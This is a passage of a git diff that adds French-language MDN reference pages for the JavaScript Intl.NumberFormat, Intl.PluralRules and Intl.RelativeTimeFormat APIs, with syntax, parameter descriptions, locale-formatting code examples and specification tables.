Les instances de NumberFormat héritent des propriétés suivantes grâce à leur prototype :

+ +
{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Properties')}}
+ +

Méthods

+ +
+

Les instances de NumberFormat héritent des méthodes suivantes grâce à leur prototype :

+{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Methods')}}
+ +

Exemples

+ +

Usage simple

+ +

Sans aucune spécification, le résultat sera une chaîne de caractères avec la locale et les options par défaut :

+ +
var nombre = 3500;
+
+console.log(new Intl.NumberFormat().format(nombre));
+// → "3 500" pour la locale fr
+
+ +

Utiliser locales

+ +

Cet exemple illustre les variations possibles des formats numériques localisés. Si vous souhaitez que votre application utilise le format de la locale de l'utilisateur, assurez vous de l'indiquer via l'argument locales (voire avec d'autres locales de secours) :

+ +
var nombre = 123456.789;
+
+// L'allemand utilise la virgule comme séparateur décimal
+// et un point pour indiquer les milliers
+console.log(new Intl.NumberFormat("de-DE").format(nombre));
+// → 123.456,789
+
+// Dans la plupart des pays arabophones, on utilise les
+// chiffres arabo-hindîs
+console.log(new Intl.NumberFormat("ar-EG").format(nombre));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// L'indien utilise des séparateurs pour les milliers,
+//les lakhs et les crores
+console.log(new Intl.NumberFormat("en-IN").format(nombre));
+// → 1,23,456.789
+
+// La clé d'extension nu indique une l'utilisation d'un système numérique
+// par exemple le système chinois
+console.log(new Intl.NumberFormat("zh-Hans-CN-u-nu-hanidec").format(nombre));
+// → 一二三,四五六.七八九
+
+// Lorsqu'une locale n'est pas supportée (par exemple le balinais)
+// on peut inclure une locale de secours (ici l'indonésien)
+console.log(new Intl.NumberFormat(["ban", "id"]).format(nombre));
+// → 123.456,789
+
+ +

Utiliser options

+ +

Les résultats fournis par toLocaleString peuvent être paramétrés grâce à l'argument options :

+ +
var nombre = 123456.789;
+
+// on affiche une devise avec le style "currency"
+console.log(new Intl.NumberFormat("de-DE", {style: "currency", currency: "EUR"}).format(nombre));
+// → 123.456,79 €
+
+// Le yen japonais n'a pas de centimes
+console.log(new Intl.NumberFormat("ja-JP", {style: "currency", currency: "JPY"}).format(nombre))
+// → ￥123,457
+
+// On se limite ici à trois chiffres significatifs
+console.log(new Intl.NumberFormat("en-IN", {maximumSignificantDigits: 3}).format(nombre));
+// → 1,23,000
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat")}}

+ +

Voir aussi

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html new file mode 100644 index 0000000000..195f044176 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/resolvedoptions/index.html @@ -0,0 +1,112 @@ +--- +title: Intl.NumberFormat.prototype.resolvedOptions() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/resolvedOptions +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - NumberFormat + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions +--- +
{{JSRef}}
+ +

La méthode Intl.NumberFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés correspondent aux options de locales et de format calculées à l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-resolvedoptions.html")}}
+ + + +

Syntaxe

+ +
numberFormat.resolvedOptions()
+ +

Valeur de retour

+ +

Un objet dont les propriétés correspondent aux options de locale et de format calculées lors de l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

+ +

Description

+ +

Cette méthode renvoie un objet composé des propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 qui est utilisée. Si des extensions Unicode avaient été rajoutées à la balise BCP 47 demandée, les paires de clés-valeurs qui ont été demandées et qui sont supportées sont inscrites dans locale.
+
numberingSystem
+
La valeur requise via l'extension Unicode "nu" ou celle qui est utilisée par défaut.
+
style
+
useGrouping
+
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut.
+
currency
+
currencyDisplay
+
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces valeurs sont présentes uniquement si style vaut "currency".
+
+ +

Un seul des deux groupes suivants est inclus dans les propriétés :

+ +
+
minimumIntegerDigits
+
minimumFractionDigits
+
maximumFractionDigits
+
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces propriétés ne sont présentes que si minimumSignificantDigits ou maximumSignificantDigits n'ont pas été fournies à l'argument options.
+
minimumSignificantDigits
+
maximumSignificantDigits
+
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces propriétés sont présentes si au moins une d'entre elles a été fournie via l'argument options.
+
+ +

Exemples

+ +

Utiliser la méthode resolvedOptions()

+ +
var de = new Intl.NumberFormat('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;                // "de-DE"
+usedOptions.numberingSystem;       // "latn"
+usedOption.style;                  // "decimal"
+usedOptions.minimumIntegerDigits;  // 1
+usedOptions.minimumFractionDigits; // 0
+usedOptions.maximumFractionDigits; // 3
+usedOptions.useGrouping;           // true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.resolvedOptions', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat.resolvedOptions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html new file mode 100644 index 0000000000..f270e88a64 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html @@ -0,0 +1,98 @@ +--- +title: Intl.NumberFormat.supportedLocalesOf() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/supportedLocalesOf +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - NumberFormat + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf +--- +
{{JSRef}}
+ +

La méthode Intl.NumberFormat.supportedLocalesOf() renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement.

+ +
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-supportedlocalesof.html")}}
+ + + +

Syntaxe

+ +
Intl.NumberFormat.supportedLocalesOf(locales[, options])
+ +

Paramètres

+ +
+
locales
+
Une chaîne de caractères qui est une balise BCP 47 ou un tableau composé de telles chaînes. Pour plus d'informations sur la forme générale de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.
+
options
+
+

Un objet qui peut avoir la propriété suivante :

+ +
+
localeMatcher
+
L'algorithme de correspondance des locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations,, voir la page {{jsxref("Intl","Intl","#Choix_de_la_locale")}}.
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères représentant un sous-ensemble des balises de langues qui sont prises en charge pour la mise en forme des nombres sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

+ +

Description

+ +

Cette méthode renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement. Les locales renvoyées sont celles considérées comme équivalentes aux locales fournies avec l'algorithme indiqué.

+ +

Exemples

+ +

Utiliser supportedLocalesOf()

+ +

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures, supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les nombres ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

+ +
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.NumberFormat.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale
{{SpecName('ES Int 2.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.supportedLocalesOf', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.NumberFormat.supportedLocalesOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/pluralrules/index.html b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/index.html new file mode 100644 index 0000000000..0d49ec4de0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/index.html @@ -0,0 +1,160 @@ +--- +title: Intl.PluralRules +slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules +tags: + - Internationalisation + - Intl + - JavaScript + - PluralRules + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules +--- +
{{JSRef}}
+ +

L'objet Intl.PluralRules est un constructeur d'objets qui permettent de mettre en forme des chaînes de caractères en fonction des règles de nombre (pluriel) d'une langue donnée.

+ +

Syntaxe

+ +
new Intl.PluralRules([locales[, options]])
+
+ +

Paramètres

+ +
+
locales
+
+

Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

+
+
options {{optional_inline}}
+
+

Optionnel, un objet possédant tout ou partie des propriétés suivantes :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}
+
type
+
Le type de numérotation à utiliser. Les valeurs possibles sont : +
    +
  • "cardinal" pour les nombres cardinaux (la quantité de telle ou telle chose). Cette valeur est la valeur par défaut.
    • +
  • "ordinal" pour les nombres ordinaux (l'ordre relatif de différentes choses « premier », « deuxième », « troisième »).
    • +
+
+
+
+
+ +

Description

+ +

Propriétés

+ +
+
{{jsxref("PluralRules.prototype", "Intl.PluralRules.prototype")}}
+
Cette propriété permet d'ajouter des propriétés aux objets Intl.PluralRules.
+
+ +

Méthodes

+ +
+
{{jsxref("PluralRules.supportedLocalesOf", "Intl.PluralRules.supportedLocalesOf()")}}
+
Cette méthode renvoie un tableau contenant les locales prises en charge sans que le moteur ait à utiliser la locale par défaut du système d'exécution.
+
+ +

Instances de PluralRules

+ +

Propriétés

+ +

Les instances de PluralRules héritent des propriétés suivantes de par leur prototype :

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Propriétés')}}
+ +

Méthodes

+ +

Les instances de PluralRules héritent des méthodes suivantes de par leur prototype :

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Méthodes')}}
+ +

Exemples

+ +

Exemple simple

+ +

Sans indiquer de locale, une chaîne formatée dans la locale par défaut et avec les options par défaut est renvoyée. On peut ainsi différencier entre le singulier et le pluriel (par exemple "chien" et "chiens").

+ +
var pr = new Intl.PluralRules();
+
+pr.select(0);
+// → 'one' si utilisée avec une locale anglais américain
+
+pr.select(1);
+// → 'one' si utilisée avec une locale anglais américain
+
+pr.select(2);
+// → 'other' si utilisée avec une locale anglais américain
+
+ +

Utiliser locales

+ +

Dans cet exemple, on voit l'impact de la locale sur les règles de nombre. Afin de respecter la langue de l'utilisateur dans votre application, assurez vous d'indiquer cette langue (et éventuellement une langue de secours) grâce à l'argument locales :

+ +
// L'arabe possède plusieurs règles
+// de nombre
+
+new Intl.PluralRules('ar-EG').select(0);
+// → 'zero'
+new Intl.PluralRules('ar-EG').select(1);
+// → 'one'
+new Intl.PluralRules('ar-EG').select(2);
+// → 'two'
+new Intl.PluralRules('ar-EG').select(6);
+// → 'few'
+new Intl.PluralRules('ar-EG').select(18);
+// → 'many'
+
+ +

Utiliser options

+ +

Les résultats obtenus peuvent être adaptés grâce à l'argument options. Celui-ci possède une propriété appelée type qui peut valoir ordinal. Cela peut être utile afin de déterminer la forme d'un indicateur ordinal (par exemple, "1er", "2e", etc.).

+ +
var pr = new Intl.PluralRules('en-US', { type: 'ordinal' });
+
+pr.select(0);
+// → 'other'
+pr.select(1);
+// → 'one'
+pr.select(2);
+// → 'two'
+pr.select(3);
+// → 'few'
+pr.select(4);
+// → 'other'
+pr.select(42);
+// → 'two'
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour le constructeur Intl.PluralRules{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Intl.PluralRules")}}

+
+ +

Voir aussi

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/global_objects/intl/pluralrules/resolvedoptions/index.html b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/resolvedoptions/index.html new file mode 100644 index 0000000000..66f4062703 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/resolvedoptions/index.html @@ -0,0 +1,95 @@ +--- +title: Intl.PluralRules.prototype.resolvedOptions() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/resolvedOptions +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - PluralRules + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/resolvedOptions +--- +
{{JSRef}}
+ +

La méthode Intl.PluralRules.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.

+ +

Syntaxe

+ +
pluralRule.resolvedOptions()
+ +

Valeur de retour

+ +

Un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.

+ +

Description

+ +

L'objet produit possède les propriétés suivantes :

+ +
+
locale
+
La balise de langue BCP 47 pour la locale réellement utilisée. Si une extension Unicode a été demandée dans la balise de langue BCP 47 ayant menée à cette locale, les paires clé/valeur qui ont été demandées et qui sont prises en charge dans cette locale sont incluses dans l'objet locale.
+
pluralCategories
+
Un tableau {{jsxref("Array")}} des règles de nombre utilisée pour la langue donnée.
+
type
+
Le type de règle utilisée (cardinal ou ordinal).
+
+ +

Seul l'un de ces deux groupes de propriétés est inclus :

+ +
+
minimumIntegerDigits
+
minimumFractionDigits
+
maximumFractionDigits
+
Les valeurs fournies pour ces propriétés via l'argument options ou les valeurs par défaut. Ces propriétés sont uniquement présentes si aucunes des propriétés minimumSignificantDigits ou maximumSignificantDigits n'a été fournie dans l'argument options.
+
minimumSignificantDigits
+
maximumSignificantDigits
+
Les valeurs fournies par ces propriétés via l'argument options ou les valeurs par défaut. Ces propriétés sont uniquement présentes si au moins l'une d'entre elles a été fournie dans l'argument options.
+
+ +

Exemples

+ +

Utiliser resolvedOptions()

+ +
var de = new Intl.PluralRules('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;                // "de-DE"
+usedOptions.maximumFractionDigits; // 3
+usedOptions.minimumFractionDigits; // 0
+usedOptions.minimumIntegerDigits;  // 1
+usedOptions.pluralCategories;      // Array [ "one", "other" ]
+usedOptions.type;                  // "cardinal"
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec IntlBrouillonDéfinition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Intl.PluralRules.resolvedOptions")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/pluralrules/select/index.html b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/select/index.html new file mode 100644 index 0000000000..9d9b8eac11 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/select/index.html @@ -0,0 +1,79 @@ +--- +title: Intl.PluralRules.select() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/select +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - PluralRules + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/select +--- +
{{JSRef}}
+ +

La méthode Intl.PluralRules.prototype.select renvoie une chaîne de caractères qui indique la règle de nombre utilisée pour le formatage relatif à la locale.

+ +

Syntaxe

+ +
pluralRule.select(nombre)
+ +

Paramètres

+ +
+
nombre
+
Le nombre pour lequel on souhaite obtenir la règle de nombre associée.
+
+ +

Description

+ +

Cette fonction permet de sélectionner une règle de nombre en fonction de la locale et des options de formatage choisies via un objet {{jsxref("PluralRules")}}.

+ +

Exemples

+ +
 new Intl.PluralRules('ar-EG').select(0);
+// → 'zero'
+
+new Intl.PluralRules('ar-EG').select(1);
+// → 'one'
+
+new Intl.PluralRules('ar-EG').select(2);
+// → 'two'
+
+new Intl.PluralRules('ar-EG').select(6);
+// → 'few'
+
+new Intl.PluralRules('ar-EG').select(18);
+// → 'many'
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec Intl{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Intl.PluralRules.select")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/pluralrules/supportedlocalesof/index.html b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/supportedlocalesof/index.html new file mode 100644 index 0000000000..31faa9f6b0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/pluralrules/supportedlocalesof/index.html @@ -0,0 +1,84 @@ +--- +title: Intl.PluralRules.supportedLocalesOf() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/supportedLocalesOf +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - PluralRules + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/supportedLocalesOf +--- +
{{JSRef}}
+ +

La méthode Intl.PluralRules.supportedLocalesOf() renvoie un tableau contenant les locales prises en charge, parmi celles passées en argument, pour les règles de nombre (sans avoir à utiliser la locale par défaut du système d'exécution).

+ +

Syntaxe

+ +
Intl.PluralRules.supportedLocalesOf(locales[, options])
+ +

Paramètres

+ +
+
locales
+
Une chaîne de caractères représentant une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour la forme générale de l'argument locales, se référer à la page {{jsxref("Intl", "Intl", "#Identification_et_choix_de_la_locale", 1)}}.
+
options {{optional_inline}}
+
+

Optionnel. Un objet pouvant contenir la propriété suivante :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.
+
+
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères représentant le sous-ensemble de balises de langues prises en charge pour le formatage avec les règles de nombre (sans qu'il soit nécssaire d'utiliser la locale par défaut du système d'exploitation).

+ +

Description

+ +

Cette méthode renvoie un tableau contenant un sous-ensemble des balises de langue fournies dans l'argument locales. Les balises de langue sont celles qui sont prises en charge par l'environnement pour le formatage avec les règles de nombre et pour lesquelles la locale respecte l'algorithme de correspondance indiqué. Les locales de ce tableau évitent d'avoir à utiliser la locale du système d'exécution par défaut.

+ +

Exemples

+ +

Dans l'hypothèse où on utilise un système prenant en charge l'indonésien, l'allemand mais pas le balinais pour le formatage avec les règles de nombre, supportedLocalesOf renvoie les balises de langue indonésienne et allemande inchangées bien que la collation pinyin ne soit pas pertinente ni utilisée avec l'indonésien (et qu'il est peu probable qu'une variante indonésienne pour l'allemand soit prise en charge). On notera que l'algorithme de correspondance "lookup" est utilisé ici. L'algorithme "best fit" aurait pu déterminer que l'indonésien aurait pu remplacer le balinais car la plupart des personnes parlant le balinais comprend également l'indonésien, la fonction aurait alors pu remplacer la balise de langue balinaise.

+ +
var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+var options = { localeMatcher: 'lookup' };
+console.log(Intl.PluralRules.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec Intl{{Spec2('ES Int Draft')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Intl.PluralRules.supportedLocalesOf")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.html b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.html new file mode 100644 index 0000000000..8a065ae341 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/format/index.html @@ -0,0 +1,103 @@ +--- +title: Intl.RelativeTimeFormat.prototype.format() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/format +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/format +--- +
{{JSRef}}
+ +
La méthode Intl.RelativeTimeFormat.prototype.format() permet de formater une valeur avec une unité selon des options de locale et de formatage stockées dans l'objet {{jsxref("RelativeTimeFormat")}}.
+ +
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-format.html")}}
+ + + +

Syntaxe

+ +
RelativeTimeFormat.format(valeur, unite)
+ +

Paramètres

+ +
+
valeur
+
Une valeur numérique qu'on souhaite utiliser pour exprimer un temps relatif dans un message internationalisé.
+
+ +
+
unite
+
L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont "year" (année), "quarter" (trimestre), "month" (mois), "week" (semaine), "day" (jour), "hour" (heure), "minute" (minute), "second" (secondes). Les formes plurielles sont également autorisées.
+
+ +

Description

+ +

La fonction renvoyée par l'accesseur format permet de formater une valeur et une unité en une chaîne de caractères en prenant en compte la locale et les options de formatage associées à l'objet {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} utilisé.

+ +

Exemples

+ +

Utilisation simple de format

+ +

L'exemple suivant illustre comment créer un outil de formatage pour les valeurs de temps relatifs en anglais.

+ +
// On crée un outil de formatage pour les valeurs exprimant
+// les temps relatifs en anglais, avec les valeurs par défaut
+// utilisées explicitement.
+const rtf = new Intl.RelativeTimeFormat("en", {
+    localeMatcher: "best fit", // autre valeur possible : "lookup"
+    numeric: "always", // autre valeur possible : "auto"
+    style: "long", // autres valeurs possibles : "short" ou "narrow"
+});
+
+// Formatage d'une valeur relative négative.
+rtf.format(-1, "day");
+// > "1 day ago"
+
+// Formatage d'une valeur relative positive.
+rtf.format(1, "day");
+// > "in 1 day"
+ +

Utiliser l'option auto

+ +

Si on passe l'option numeric:auto, c'est la chaîne de caractères yesterday ou tomorrow qui sera produite (en anglais) plutôt que 1 day ago ou in 1 day. Cela permet de n'avoir pas nécessairement une valeur numérique en résultat.

+ +
// On crée un formateur en anglais avec l'option
+// numeric: "auto".
+const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// Formatage d'une valeur relative négative.
+rtf.format(-1, "day");
+// > "yesterday"
+
+// Formatage d'une valeur relative positive.
+rtf.format(1, "day");
+// > "tomorrow"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.format")}}

diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.html new file mode 100644 index 0000000000..4a107d215c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/formattoparts/index.html @@ -0,0 +1,86 @@ +--- +title: Intl.RelativeTimeFormat.prototype.formatToParts() +slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/formatToParts +tags: + - Internationalisation + - Intl + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/formatToParts +--- +
{{JSRef}}
+ +

La méthode Intl.RelativeTimeFormat.prototype.formatToParts() est une méthode analogue à format() qui renvoie un tableau d'objets contenant les différentes parties représentant le message internationalisé pour le temps relatif.

+ +
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-formattoparts.html")}}
+ + + +

Syntaxe

+ +
RelativeTimeFormat.formatToParts(valeur, unite)
+ +

Paramètres

+ +
+
valeur
+
Une valeur numérique qu'on souhaite formater pour un message internationalisé exprimant un temps relatif.
+
+ +
+
unite
+
L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont "year" (année), "quarter" (trimestre), "month" (mois), "week" (semaine), "day" (jour), "hour" (heure), "minute" (minute), "second" (secondes). Les formes plurielles sont également autorisées.
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) d'objets contenant les fragments composant la chaîne de caractères localisée et mise en forme pour exprimer le temps relatif.

+ +

Description

+ +
La méthode Intl.RelativeTimeFormat.prototype.formatToParts() est une méthode analogue à la méthode format() mais renvoie un tableau d'objets représentant chacun une partie du message internationalisé. Ces objets ont deux propriétés : type et value. Si un des composants provient de NumberFormat, il aura une propriété unit indiquant l'unité utilisée pour le formatage.
+ +

Exemples

+ +
const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
+
+// Format relative time using the day unit.
+rtf.formatToParts(-1, "day");
+// > [{ type: "literal", value: "yesterday"}]
+
+rtf.formatToParts(100, "day");
+// > [{ type: "literal", value: "in " },
+      { type: "integer", value: "100", unit: "day" },
+      { type: "literal", value: " days" }]
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationsÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.formatToParts")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.html b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.html new file mode 100644 index 0000000000..f15c5db724 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/relativetimeformat/index.html @@ -0,0 +1,162 @@ +--- +title: Intl.RelativeTimeFormat +slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat +tags: + - Constructeur + - Internationalisation + - Intl + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat +--- +
{{JSRef}}
+ +

L'objet Intl.RelativeTimeFormat est un constructeur fournissant des objets pour mettre en forme des données temporelles relatives en respectant le format des locales.

+ +
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat.html")}}
+ + + +

Syntaxe

+ +
new Intl.RelativeTimeFormat([locales[, options]])
+ +

Paramètres

+ +
+
locales
+
+

